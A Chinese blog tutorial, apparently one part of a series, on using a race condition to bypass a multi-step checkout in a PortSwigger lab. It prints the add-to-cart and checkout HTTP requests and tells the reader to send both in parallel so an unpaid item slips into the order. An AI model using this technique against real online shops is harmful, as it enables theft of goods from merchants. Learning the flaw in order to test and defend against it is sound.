5种Race Conditions条件竞争漏洞,你的网站中了哪一个? [3.饶过多步骤流程]

Race conditions(条件竞速)为常见的漏洞,与业务逻辑缺陷有密切关系。当网站在没有足够保护措施的情况下同时处理请求时,就会发生这种情况。这可能会导致多个不同的执行绪同时互相影响而导致冲突,使应用程式中出现意外行为。

常见的攻击方法如下

  1.  饶过只限一次的申请
  2. 饶过爆力破解密码限制
  3. 饶过多步骤流程
  4. 单点请求
  5. 饶过基于时间的机制 

3.饶过多步骤流程

同時向多個端點發送請求,很適合用在有多個步驟的流程,以購物車的例子來說,最常見的就是利用付款驗證後到訂單最終確認時的這段期間,偷塞更多商品

舉例如下,將商品放入購物車的請求如下

########### request ########### 
POST /cart HTTP/2
Host: 0af6000f042c82838020b825003a00b7.web-security-academy.net
Cookie: session=luorI2dsMrYk3uq1ZKqpnueYkyCrw4tF
...omit...
productId=2&redir=PRODUCT&quantity=1

########### response ########### 
HTTP/2 302 Found
Location: /product?productId=2
X-Frame-Options: SAMEORIGIN
Content-Length: 0

結帳的請求如下

########### request ########### 
POST /cart/checkout HTTP/2
Host: 0af6000f042c82838020b825003a00b7.web-security-academy.net
Cookie: session=luorI2dsMrYk3uq1ZKqpnueYkyCrw4tF
...omit...
csrf=2yFzJdest9UUhYC1EmKKckznUuD0Cf4V

########### response ########### 
...omit...
Your order is on its way!
...omit...

購物車請求和結帳請求之間存在漏洞,因此有機會在結帳完成前,在購物車額外增加一個新商品,由於在進行結帳時來不及把新商品的金額算進去,因此即便多了一個商品,價格還是和之前一樣

為了使用這個漏洞,必須將以下放入購物車和結帳請求在同一個時間送出,可以用repeater group send in parallel功能

POST /cart HTTP/2
Host: 0af6000f042c82838020b825003a00b7.web-security-academy.net
Cookie: session=luorI2dsMrYk3uq1ZKqpnueYkyCrw4tF
...omit...
productId=1&redir=PRODUCT&quantity=1
POST /cart/checkout HTTP/2
Host: 0af6000f042c82838020b825003a00b7.web-security-academy.net
Cookie: session=luorI2dsMrYk3uq1ZKqpnueYkyCrw4tF
...omit...
csrf=2yFzJdest9UUhYC1EmKKckznUuD0Cf4V

由於請求扺達時間差的關係,同時送不一定會成功,可能要多試幾次,一旦成功就可以偷渡新商品

  其他方法可参考 Race conditions | 牛的大腦

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-04-12 01:38:01       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-04-12 01:38:01       100 阅读
  3. 在Django里面运行非项目文件

    2024-04-12 01:38:01       82 阅读
  4. Python语言-面向对象

    2024-04-12 01:38:01       91 阅读

热门阅读

  1. 工业通信原理——CRC校验

    2024-04-12 01:38:01       38 阅读
  2. std::unordered_map 自定义hash,key-value

    2024-04-12 01:38:01       33 阅读
  3. Unity抛物线目标点打击

    2024-04-12 01:38:01       36 阅读
  4. Gitea的简单介绍

    2024-04-12 01:38:01       35 阅读
  5. ClickHouse入门篇:一文带你学习ClickHouse

    2024-04-12 01:38:01       28 阅读
  6. ChatGPT智能写作:开启论文写作新视野

    2024-04-12 01:38:01       41 阅读
  7. PCA 主成分分析

    2024-04-12 01:38:01       32 阅读